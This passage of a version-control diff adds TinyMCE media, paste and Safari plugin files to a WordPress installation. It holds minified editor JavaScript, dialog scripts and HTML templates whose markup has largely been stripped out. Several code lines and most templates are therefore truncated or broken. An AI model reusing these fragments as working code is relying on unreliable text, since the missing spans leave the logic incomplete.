/swflash.cab#version=6,0,40,0";k="audio/x-pn-realaudio-plugin";break}if(l){h.replace(e._buildObj({classid:l,codebase:j,type:k},m),m)}})}});b.onPostProcess.add(function(g,h){h.content=h.content.replace(/_mce_value=/g,"value=")});function d(g,h){h=new RegExp(h+'="([^"]+)"',"g").exec(g);return h?b.dom.decode(h[1]):""}b.onPostProcess.add(function(g,h){if(g.getParam("media_use_script")){h.content=h.content.replace(/]+>/g,function(j){var i=d(j,"class");if(/^(mceTempFlash|mceTempShockWave|mceTempWindowsMedia|mceTempQuickTime|mceTempRealMedia)$/.test(i)){at=e._parse(d(j,"title"));at.width=d(j,"width");at.height=d(j,"height");j=''); + +function init() { + var pl = "", f, val; + var type = "flash", fe, i; + + ed = tinyMCEPopup.editor; + + tinyMCEPopup.resizeToInnerSize(); + f = document.forms[0] + + fe = ed.selection.getNode(); + if (/mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(ed.dom.getAttrib(fe, 'class'))) { + pl = fe.title; + + switch (ed.dom.getAttrib(fe, 'class')) { + case 'mceItemFlash': + type = 'flash'; + break; + + case 'mceItemFlashVideo': + type = 'flv'; + break; + + case 'mceItemShockWave': + type = 'shockwave'; + break; + + case 'mceItemWindowsMedia': + type = 'wmp'; + break; + + case 'mceItemQuickTime': + type = 'qt'; + break; + + case 'mceItemRealMedia': + type = 'rmp'; + break; + } + + document.forms[0].insert.value = ed.getLang('update', 'Insert', true); + } + + document.getElementById('filebrowsercontainer').innerHTML = getBrowserHTML('filebrowser','src','media','media'); + document.getElementById('qtsrcfilebrowsercontainer').innerHTML = getBrowserHTML('qtsrcfilebrowser','qt_qtsrc','media','media'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var html = getMediaListHTML('medialist','src','media','media'); + if (html == "") + document.getElementById("linklistrow").style.display = 'none'; + else + document.getElementById("linklistcontainer").innerHTML = html; + + // Resize some elements + if (isVisible('filebrowser')) + document.getElementById('src').style.width = '230px'; + + // Setup form + if (pl != "") { + pl = tinyMCEPopup.editor.plugins.media._parse(pl); + + switch (type) { + case "flash": + setBool(pl, 'flash', 'play'); + setBool(pl, 'flash', 'loop'); + setBool(pl, 'flash', 'menu'); + setBool(pl, 'flash', 'swliveconnect'); + setStr(pl, 'flash', 'quality'); + setStr(pl, 'flash', 'scale'); + setStr(pl, 'flash', 'salign'); + setStr(pl, 'flash', 'wmode'); + setStr(pl, 'flash', 'base'); + setStr(pl, 'flash', 'flashvars'); + break; + + case "qt": + setBool(pl, 'qt', 'loop'); + setBool(pl, 'qt', 'autoplay'); + setBool(pl, 'qt', 'cache'); + setBool(pl, 'qt', 'controller'); + setBool(pl, 'qt', 'correction'); + setBool(pl, 'qt', 'enablejavascript'); + setBool(pl, 'qt', 'kioskmode'); + setBool(pl, 'qt', 'autohref'); + setBool(pl, 'qt', 'playeveryframe'); + setBool(pl, 'qt', 'tarsetcache'); + setStr(pl, 'qt', 'scale'); + setStr(pl, 'qt', 'starttime'); + setStr(pl, 'qt', 'endtime'); + setStr(pl, 'qt', 'tarset'); + setStr(pl, 'qt', 'qtsrcchokespeed'); + setStr(pl, 'qt', 'volume'); + setStr(pl, 'qt', 'qtsrc'); + break; + + case "shockwave": + setBool(pl, 'shockwave', 'sound'); + setBool(pl, 'shockwave', 'progress'); + setBool(pl, 'shockwave', 'autostart'); + setBool(pl, 'shockwave', 'swliveconnect'); + setStr(pl, 'shockwave', 'swvolume'); + setStr(pl, 'shockwave', 'swstretchstyle'); + setStr(pl, 'shockwave', 'swstretchhalign'); + setStr(pl, 'shockwave', 'swstretchvalign'); + break; + + case "wmp": + setBool(pl, 'wmp', 'autostart'); + setBool(pl, 'wmp', 'enabled'); + setBool(pl, 'wmp', 'enablecontextmenu'); + setBool(pl, 'wmp', 'fullscreen'); + setBool(pl, 'wmp', 'invokeurls'); + setBool(pl, 'wmp', 'mute'); + setBool(pl, 'wmp', 'stretchtofit'); + setBool(pl, 'wmp', 'windowlessvideo'); + setStr(pl, 'wmp', 'balance'); + setStr(pl, 'wmp', 'baseurl'); + setStr(pl, 'wmp', 'captioningid'); + setStr(pl, 'wmp', 'currentmarker'); + setStr(pl, 'wmp', 'currentposition'); + setStr(pl, 'wmp', 'defaultframe'); + setStr(pl, 'wmp', 'playcount'); + setStr(pl, 'wmp', 'rate'); + setStr(pl, 'wmp', 'uimode'); + setStr(pl, 'wmp', 'volume'); + break; + + case "rmp": + setBool(pl, 'rmp', 'autostart'); + setBool(pl, 'rmp', 'loop'); + setBool(pl, 'rmp', 'autogotourl'); + setBool(pl, 'rmp', 'center'); + setBool(pl, 'rmp', 'imagestatus'); + setBool(pl, 'rmp', 'maintainaspect'); + setBool(pl, 'rmp', 'nojava'); + setBool(pl, 'rmp', 'prefetch'); + setBool(pl, 'rmp', 'shuffle'); + setStr(pl, 'rmp', 'console'); + setStr(pl, 'rmp', 'controls'); + setStr(pl, 'rmp', 'numloop'); + setStr(pl, 'rmp', 'scriptcallbacks'); + break; + } + + setStr(pl, null, 'src'); + setStr(pl, null, 'id'); + setStr(pl, null, 'name'); + setStr(pl, null, 'vspace'); + setStr(pl, null, 'hspace'); + setStr(pl, null, 'bgcolor'); + setStr(pl, null, 'align'); + setStr(pl, null, 'width'); + setStr(pl, null, 'height'); + + if ((val = ed.dom.getAttrib(fe, "width")) != "") + pl.width = f.width.value = val; + + if ((val = ed.dom.getAttrib(fe, "height")) != "") + pl.height = f.height.value = val; + + oldWidth = pl.width ? parseInt(pl.width) : 0; + oldHeight = pl.height ? parseInt(pl.height) : 0; + } else + oldWidth = oldHeight = 0; + + selectByValue(f, 'media_type', type); + changedType(type); + updateColor('bgcolor_pick', 'bgcolor'); + + TinyMCE_EditableSelects.init(); + generatePreview(); +} + +function insertMedia() { + var fe, f = document.forms[0], h; + + tinyMCEPopup.restoreSelection(); + + if (!AutoValidator.validate(f)) { + tinyMCEPopup.alert(ed.getLang('invalid_data')); + return false; + } + + f.width.value = f.width.value == "" ? 100 : f.width.value; + f.height.value = f.height.value == "" ? 100 : f.height.value; + + fe = ed.selection.getNode(); + if (fe != null && /mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(ed.dom.getAttrib(fe, 'class'))) { + switch (f.media_type.options[f.media_type.selectedIndex].value) { + case "flash": + fe.className = "mceItemFlash"; + break; + + case "flv": + fe.className = "mceItemFlashVideo"; + break; + + case "shockwave": + fe.className = "mceItemShockWave"; + break; + + case "qt": + fe.className = "mceItemQuickTime"; + break; + + case "wmp": + fe.className = "mceItemWindowsMedia"; + break; + + case "rmp": + fe.className = "mceItemRealMedia"; + break; + } + + if (fe.width != f.width.value || fe.height != f.height.value) + ed.execCommand('mceRepaint'); + + fe.title = serializeParameters(); + fe.width = f.width.value; + fe.height = f.height.value; + fe.style.width = f.width.value + (f.width.value.indexOf('%') == -1 ? 'px' : ''); + fe.style.height = f.height.value + (f.height.value.indexOf('%') == -1 ? 'px' : ''); + fe.align = f.align.options[f.align.selectedIndex].value; + } else { + h = ' 0) { + var html = ""; + + html += ''; + + return html; + } + + return ""; +} + +function getType(v) { + var fo, i, c, el, x, f = document.forms[0]; + + fo = ed.getParam("media_types", "flash=swf;flv=flv;shockwave=dcr;qt=mov,qt,mpg,mp3,mp4,mpeg;shockwave=dcr;wmp=avi,wmv,wm,asf,asx,wmx,wvx;rmp=rm,ra,ram").split(';'); + + // YouTube + if (v.match(/watch\?v=(.+)(.*)/)) { + f.width.value = '425'; + f.height.value = '350'; + f.src.value = 'http://www.youtube.com/v/' + v.match(/v=(.*)(.*)/)[0].split('=')[1]; + return 'flash'; + } + + // Google video + if (v.indexOf('http://video.google.com/videoplay?docid=') == 0) { + f.width.value = '425'; + f.height.value = '326'; + f.src.value = 'http://video.google.com/googleplayer.swf?docId=' + v.substring('http://video.google.com/videoplay?docid='.length) + '&hl=en'; + return 'flash'; + } + + for (i=0; i 0 ? s.substring(0, s.length - 1) : s; + + return s; +} + +function setBool(pl, p, n) { + if (typeof(pl[n]) == "undefined") + return; + + document.forms[0].elements[p + "_" + n].checked = pl[n] != 'false'; +} + +function setStr(pl, p, n) { + var f = document.forms[0], e = f.elements[(p != null ? p + "_" : '') + n]; + + if (typeof(pl[n]) == "undefined") + return; + + if (e.type == "text") + e.value = pl[n]; + else + selectByValue(f, (p != null ? p + "_" : '') + n, pl[n]); +} + +function getBool(p, n, d, tv, fv) { + var v = document.forms[0].elements[p + "_" + n].checked; + + tv = typeof(tv) == 'undefined' ? 'true' : "'" + jsEncode(tv) + "'"; + fv = typeof(fv) == 'undefined' ? 'false' : "'" + jsEncode(fv) + "'"; + + return (v == d) ? '' : n + (v ? ':' + tv + ',' : ":\'" + fv + "\',"); +} + +function getStr(p, n, d) { + var e = document.forms[0].elements[(p != null ? p + "_" : "") + n]; + var v = e.type == "text" ? e.value : e.options[e.selectedIndex].value; + + if (n == 'src') + v = tinyMCEPopup.editor.convertURL(v, 'src', null); + + return ((n == d || v == '') ? '' : n + ":'" + jsEncode(v) + "',"); +} + +function getInt(p, n, d) { + var e = document.forms[0].elements[(p != null ? p + "_" : "") + n]; + var v = e.type == "text" ? e.value : e.options[e.selectedIndex].value; + + return ((n == d || v == '') ? '' : n + ":" + v.replace(/[^0-9]+/g, '') + ","); +} + +function jsEncode(s) { + s = s.replace(new RegExp('\\\\', 'g'), '\\\\'); + s = s.replace(new RegExp('"', 'g'), '\\"'); + s = s.replace(new RegExp("'", 'g'), "\\'"); + + return s; +} + +function generatePreview(c) { + var f = document.forms[0], p = document.getElementById('prev'), h = '', cls, pl, n, type, codebase, wp, hp, nw, nh; + + p.innerHTML = ''; + + nw = parseInt(f.width.value); + nh = parseInt(f.height.value); + + if (f.width.value != "" && f.height.value != "") { + if (f.constrain.checked) { + if (c == 'width' && oldWidth != 0) { + wp = nw / oldWidth; + nh = Math.round(wp * nh); + f.height.value = nh; + } else if (c == 'height' && oldHeight != 0) { + hp = nh / oldHeight; + nw = Math.round(hp * nw); + f.width.value = nw; + } + } + } + + if (f.width.value != "") + oldWidth = nw; + + if (f.height.value != "") + oldHeight = nh; + + // After constrain + pl = serializeParameters(); + + switch (f.media_type.options[f.media_type.selectedIndex].value) { + case "flash": + cls = 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000'; + codebase = 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0'; + type = 'application/x-shockwave-flash'; + break; + + case "shockwave": + cls = 'clsid:166B1BCA-3F9C-11CF-8075-444553540000'; + codebase = 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0'; + type = 'application/x-director'; + break; + + case "qt": + cls = 'clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B'; + codebase = 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0'; + type = 'video/quicktime'; + break; + + case "wmp": + cls = ed.getParam('media_wmp6_compatible') ? 'clsid:05589FA1-C356-11CE-BF01-00AA0055595A' : 'clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6'; + codebase = 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701'; + type = 'application/x-mplayer2'; + break; + + case "rmp": + cls = 'clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA'; + codebase = 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701'; + type = 'audio/x-pn-realaudio-plugin'; + break; + } + + if (pl == '') { + p.innerHTML = ''; + return; + } + + pl = tinyMCEPopup.editor.plugins.media._parse(pl); + + if (!pl.src) { + p.innerHTML = ''; + return; + } + + pl.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(pl.src); + pl.width = !pl.width ? 100 : pl.width; + pl.height = !pl.height ? 100 : pl.height; + pl.id = !pl.id ? 'obj' : pl.id; + pl.name = !pl.name ? 'eobj' : pl.name; + pl.align = !pl.align ? '' : pl.align; + + // Avoid annoying warning about insecure items + if (!tinymce.isIE || document.location.protocol != 'https:') { + h += ''; + + for (n in pl) { + h += ''; + + // Add extra url parameter if it's an absolute URL + if (n == 'src' && pl[n].indexOf('://') != -1) + h += ''; + } + } + + h += ' + + + {#media_dlg.title} + + + + + + + + + +
    + + +
    +
    +
    + {#media_dlg.general} + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + +
     
    +
    + + + + + + +
    x   
    +
    +
    + +
    + {#media_dlg.preview} + +
    +
    + +
    +
    + {#media_dlg.advanced} + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + +
     
    +
    +
    + +
    + {#media_dlg.flash_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + +
    + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + + + + + + + +
    +
    + +
    + {#media_dlg.flv_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.qt_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +  
    + + + + + +
     
    +
    +
    + +
    + {#media_dlg.wmp_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    + +
    + {#media_dlg.rmp_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +   +
    +
    + +
    + {#media_dlg.shockwave_options} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    + + + + + +
    +
    +
    +
    +
    + +
    +
    + +
    + +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/paste/blank.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/paste/blank.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,21 @@ + + +blank_page + + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/paste/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/paste/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.PastePlugin",{init:function(c,d){var e=this,b;e.editor=c;e.url=d;e.onPreProcess=new tinymce.util.Dispatcher(e);e.onPostProcess=new tinymce.util.Dispatcher(e);e.onPreProcess.add(e._preProcess);e.onPostProcess.add(e._postProcess);e.onPreProcess.add(function(h,i){c.execCallback("paste_preprocess",h,i)});e.onPostProcess.add(function(h,i){c.execCallback("paste_postprocess",h,i)});function g(i){var h=c.dom;e.onPreProcess.dispatch(e,i);i.node=h.create("div",0,i.content);e.onPostProcess.dispatch(e,i);i.content=c.serializer.serialize(i.node,{getInner:1});if(/<(p|h[1-6]|ul|ol)/.test(i.content)){e._insertBlockContent(c,h,i.content)}else{e._insert(i.content)}}c.addCommand("mceInsertClipboardContent",function(h,i){g(i)});function f(l){var p,k,i,j=c.selection,o=c.dom,h=c.getBody(),m;if(o.get("_mcePaste")){return}p=o.add(h,"div",{id:"_mcePaste"},"\uFEFF");if(h!=c.getDoc().body){m=o.getPos(c.selection.getStart(),h).y}else{m=h.scrollTop}o.setStyles(p,{position:"absolute",left:-10000,top:m,width:1,height:1,overflow:"hidden"});if(tinymce.isIE){i=o.doc.body.createTextRange();i.moveToElementText(p);i.execCommand("Paste");o.remove(p);if(p.innerHTML==="\uFEFF"){c.execCommand("mcePasteWord");l.preventDefault();return}g({content:p.innerHTML});return tinymce.dom.Event.cancel(l)}else{k=c.selection.getRng();p=p.firstChild;i=c.getDoc().createRange();i.setStart(p,0);i.setEnd(p,1);j.setRng(i);window.setTimeout(function(){var q="",n=o.select("div[id=_mcePaste]");a(n,function(r){q+=(o.select("> span.Apple-style-span div",r)[0]||o.select("> span.Apple-style-span",r)[0]||r).innerHTML});a(n,function(r){o.remove(r)});if(k){j.setRng(k)}g({content:q})},0)}}if(c.getParam("paste_auto_cleanup_on_paste",true)){if(tinymce.isOpera||/Firefox\/2/.test(navigator.userAgent)){c.onKeyDown.add(function(h,i){if(((tinymce.isMac?i.metaKey:i.ctrlKey)&&i.keyCode==86)||(i.shiftKey&&i.keyCode==45)){f(i)}})}else{c.onPaste.addToTop(function(h,i){return f(i)})}}if(c.getParam("paste_block_drop")){c.onInit.add(function(){c.dom.bind(c.getBody(),["dragend","dragover","draggesture","dragdrop","drop","drag"],function(h){h.preventDefault();h.stopPropagation();return false})})}e._legacySupport()},getInfo:function(){return{longname:"Paste text/word",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_preProcess:function(d,i){var b=this.editor,c=i.content,g,f;function g(h){a(h,function(j){if(j.constructor==RegExp){c=c.replace(j,"")}else{c=c.replace(j[0],j[1])}})}if(/(class=\"?Mso|style=\"[^\"]*\bmso\-|w:WordDocument)/.test(c)||i.wordContent){i.wordContent=true;g([/^\s*( )+/g,/( |]*>)+\s*$/g]);if(b.getParam("paste_convert_middot_lists",true)){g([[//gi,"$&__MCE_ITEM__"],[/(]+:\s*symbol[^>]+>)/gi,"$1__MCE_ITEM__"],[/(]+mso-list:[^>]+>)/gi,"$1__MCE_ITEM__"]])}g([//gi,/<\/?(img|font|meta|link|style|div|v:\w+)[^>]*>/gi,/<\\?\?xml[^>]*>/gi,/<\/?o:[^>]*>/gi,/ (id|name|language|type|on\w+|v:\w+)=\"([^\"]*)\"/gi,/ (id|name|language|type|on\w+|v:\w+)=(\w+)/gi,[/<(\/?)s>/gi,"<$1strike>"],/]+>[\s\S]*?<\/script>/gi,[/ /g,"\u00a0"]]);if(!b.getParam("paste_retain_style_properties")){g([/<\/?(span)[^>]*>/gi])}}f=b.getParam("paste_strip_class_attributes");if(f!="none"){function e(l,h){var k,j="";if(f=="all"){return""}h=tinymce.explode(h," ");for(k=h.length-1;k>=0;k--){if(!/^(Mso)/i.test(h[k])){j+=(!j?"":" ")+h[k]}}return' class="'+j+'"'}g([[/ class=\"([^\"]*)\"/gi,e],[/ class=(\w+)/gi,e]])}if(b.getParam("paste_remove_spans")){g([/<\/?(span)[^>]*>/gi])}i.content=c},_postProcess:function(e,g){var d=this,c=d.editor,f=c.dom,b;if(g.wordContent){a(f.select("a",g.node),function(h){if(!h.href||h.href.indexOf("#_Toc")!=-1){f.remove(h,1)}});if(d.editor.getParam("paste_convert_middot_lists",true)){d._convertLists(e,g)}b=c.getParam("paste_retain_style_properties");if(tinymce.is(b,"string")){b=tinymce.explode(b)}a(f.select("*",g.node),function(l){var m={},j=0,k,n,h;if(b){for(k=0;k0){f.setStyles(l,m)}else{if(l.nodeName=="SPAN"&&!l.className){f.remove(l,true)}}})}if(c.getParam("paste_remove_styles")||(c.getParam("paste_remove_styles_if_webkit")&&tinymce.isWebKit)){a(f.select("*[style]",g.node),function(h){h.removeAttribute("style");h.removeAttribute("mce_style")})}else{if(tinymce.isWebKit){a(f.select("*",g.node),function(h){h.removeAttribute("mce_style")})}}},_convertLists:function(e,c){var g=e.editor.dom,f,j,b=-1,d,k=[],i,h;a(g.select("p",c.node),function(r){var n,s="",q,o,l,m;for(n=r.firstChild;n&&n.nodeType==3;n=n.nextSibling){s+=n.nodeValue}s=r.innerHTML.replace(/<\/?\w+[^>]*>/gi,"").replace(/ /g,"\u00a0");if(/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o]\s*\u00a0*/.test(s)){q="ul"}if(/^__MCE_ITEM__\s*\w+\.\s*\u00a0{2,}/.test(s)){q="ol"}if(q){d=parseFloat(r.style.marginLeft||0);if(d>b){k.push(d)}if(!f||q!=i){f=g.create(q);g.insertAfter(f,r)}else{if(d>b){f=j.appendChild(g.create(q))}else{if(d]*>/gi,"");if(q=="ul"&&/^[\u2022\u00b7\u00a7\u00d8o]/.test(p)){g.remove(t)}else{if(/^[\s\S]*\w+\.( |\u00a0)*\s*/.test(p)){g.remove(t)}}});o=r.innerHTML;if(q=="ul"){o=r.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^[\u2022\u00b7\u00a7\u00d8o]\s*( |\u00a0)+\s*/,"")}else{o=r.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^\s*\w+\.( |\u00a0)+\s*/,"")}j=f.appendChild(g.create("li",0,o));g.remove(r);b=d;i=q}else{f=b=0}});h=c.node.innerHTML;if(h.indexOf("__MCE_ITEM__")!=-1){c.node.innerHTML=h.replace(/__MCE_ITEM__/g,"")}},_insertBlockContent:function(h,e,i){var c,g,d=h.selection,m,j,b,k,f;function l(p){var o;if(tinymce.isIE){o=h.getDoc().body.createTextRange();o.moveToElementText(p);o.collapse(false);o.select()}else{d.select(p,1);d.collapse(false)}}this._insert(' ',1);g=e.get("_marker");c=e.getParent(g,"p,h1,h2,h3,h4,h5,h6,ul,ol,th,td");if(c&&!/TD|TH/.test(c.nodeName)){g=e.split(c,g);a(e.create("div",0,i).childNodes,function(o){m=g.parentNode.insertBefore(o.cloneNode(true),g)});l(m)}else{e.setOuterHTML(g,i);d.select(h.getBody(),1);d.collapse(0)}e.remove("_marker");j=d.getStart();b=e.getViewPort(h.getWin());k=h.dom.getPos(j).y;f=j.clientHeight;if(kb.y+b.h){h.getDoc().body.scrollTop=k 1) { + h = ''; + tinymce.each(lines, function(row) { + h += '

    ' + row + '

    '; + }); + } + } + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('content'); + + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } +}; + +tinyMCEPopup.onInit.add(PasteTextDialog.init, PasteTextDialog); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/paste/js/pasteword.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/paste/js/pasteword.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,51 @@ +tinyMCEPopup.requireLangPack(); + +var PasteWordDialog = { + init : function() { + var ed = tinyMCEPopup.editor, el = document.getElementById('iframecontainer'), ifr, doc, css, cssHTML = ''; + + // Create iframe + el.innerHTML = ''; + ifr = document.getElementById('iframe'); + doc = ifr.contentWindow.document; + + // Force absolute CSS urls + css = [ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css")]; + css = css.concat(tinymce.explode(ed.settings.content_css) || []); + tinymce.each(css, function(u) { + cssHTML += ''; + }); + + // Write content into iframe + doc.open(); + doc.write('' + cssHTML + ''); + doc.close(); + + doc.designMode = 'on'; + this.resize(); + + window.setTimeout(function() { + ifr.contentWindow.focus(); + }, 10); + }, + + insert : function() { + var h = document.getElementById('iframe').contentWindow.document.body.innerHTML; + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h, wordContent : true}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('iframe'); + + if (el) { + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } + } +}; + +tinyMCEPopup.onInit.add(PasteWordDialog.init, PasteWordDialog); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/paste/pastetext.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/paste/pastetext.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,33 @@ + + + {#paste.paste_text_desc} + + + + + +
    +
    {#paste.paste_text_desc}
    + +
    + +
    + +
    + +
    {#paste_dlg.text_title}
    + + + +
    +
    + +
    + +
    + +
    +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/paste/pasteword.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/paste/pasteword.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,27 @@ + + + + {#paste.paste_word_desc} + + + + +
    +
    {#paste.paste_word_desc}
    + +
    {#paste_dlg.word_title}
    + +
    + +
    +
    + +
    + +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/safari/blank.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/safari/blank.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/safari/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/safari/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(){var a=tinymce.dom.Event,c=tinymce.grep,d=tinymce.each,b=tinymce.inArray;function e(j,i,h){var g,k;g=j.createTreeWalker(i,NodeFilter.SHOW_ALL,null,false);while(k=g.nextNode()){if(h){if(!h(k)){return false}}if(k.nodeType==3&&k.nodeValue&&/[^\s\u00a0]+/.test(k.nodeValue)){return false}if(k.nodeType==1&&/^(HR|IMG|TABLE)$/.test(k.nodeName)){return false}}return true}tinymce.create("tinymce.plugins.Safari",{init:function(f){var g=this,h;if(!tinymce.isWebKit){return}g.editor=f;g.webKitFontSizes=["x-small","small","medium","large","x-large","xx-large","-webkit-xxx-large"];g.namedFontSizes=["xx-small","x-small","small","medium","large","x-large","xx-large"];f.addCommand("CreateLink",function(k,j){var m=f.selection.getNode(),l=f.dom,i;if(m&&(/^(left|right)$/i.test(l.getStyle(m,"float",1))||/^(left|right)$/i.test(l.getAttrib(m,"align")))){i=l.create("a",{href:j},m.cloneNode());m.parentNode.replaceChild(i,m);f.selection.select(i)}else{f.getDoc().execCommand("CreateLink",false,j)}});f.onKeyUp.add(function(j,o){var l,i,m,p,k;if(o.keyCode==46||o.keyCode==8){i=j.getBody();l=i.innerHTML;k=j.selection;if(i.childNodes.length==1&&!/<(img|hr)/.test(l)&&tinymce.trim(l.replace(/<[^>]+>/g,"")).length==0){j.setContent('


    ',{format:"raw"});p=i.firstChild;m=k.getRng();m.setStart(p,0);m.setEnd(p,0);k.setRng(m)}}});f.addCommand("FormatBlock",function(j,i){var l=f.dom,k=l.getParent(f.selection.getNode(),l.isBlock);if(k){l.replace(l.create(i),k,1)}else{f.getDoc().execCommand("FormatBlock",false,i)}});f.addCommand("mceInsertContent",function(j,i){f.getDoc().execCommand("InsertText",false,"mce_marker");f.getBody().innerHTML=f.getBody().innerHTML.replace(/mce_marker/g,f.dom.processHTML(i)+'XX');f.selection.select(f.dom.get("_mce_tmp"));f.getDoc().execCommand("Delete",false," ")});f.onKeyPress.add(function(o,p){var q,v,r,l,j,k,i,u,m,t,s;if(p.keyCode==13){i=o.selection;q=i.getNode();if(p.shiftKey||o.settings.force_br_newlines&&q.nodeName!="LI"){g._insertBR(o);a.cancel(p)}if(v=h.getParent(q,"LI")){r=h.getParent(v,"OL,UL");u=o.getDoc();s=h.create("p");h.add(s,"br",{mce_bogus:"1"});if(e(u,v)){if(k=h.getParent(r.parentNode,"LI,OL,UL")){return}k=h.getParent(r,"p,h1,h2,h3,h4,h5,h6,div")||r;l=u.createRange();l.setStartBefore(k);l.setEndBefore(v);j=u.createRange();j.setStartAfter(v);j.setEndAfter(k);m=l.cloneContents();t=j.cloneContents();if(!e(u,t)){h.insertAfter(t,k)}h.insertAfter(s,k);if(!e(u,m)){h.insertAfter(m,k)}h.remove(k);k=s.firstChild;l=u.createRange();l.setStartBefore(k);l.setEndBefore(k);i.setRng(l);return a.cancel(p)}}}});f.onExecCommand.add(function(i,k){var j,m,n,l;if(k=="InsertUnorderedList"||k=="InsertOrderedList"){j=i.selection;m=i.dom;if(n=m.getParent(j.getNode(),function(o){return/^(H[1-6]|P|ADDRESS|PRE)$/.test(o.nodeName)})){l=j.getBookmark();m.remove(n,1);j.moveToBookmark(l)}}});f.onClick.add(function(i,j){j=j.target;if(j.nodeName=="IMG"){g.selElm=j;i.selection.select(j)}else{g.selElm=null}});f.onInit.add(function(){g._fixWebKitSpans()});f.onSetContent.add(function(){h=f.dom;d(["strong","b","em","u","strike","sub","sup","a"],function(i){d(c(h.select(i)).reverse(),function(l){var 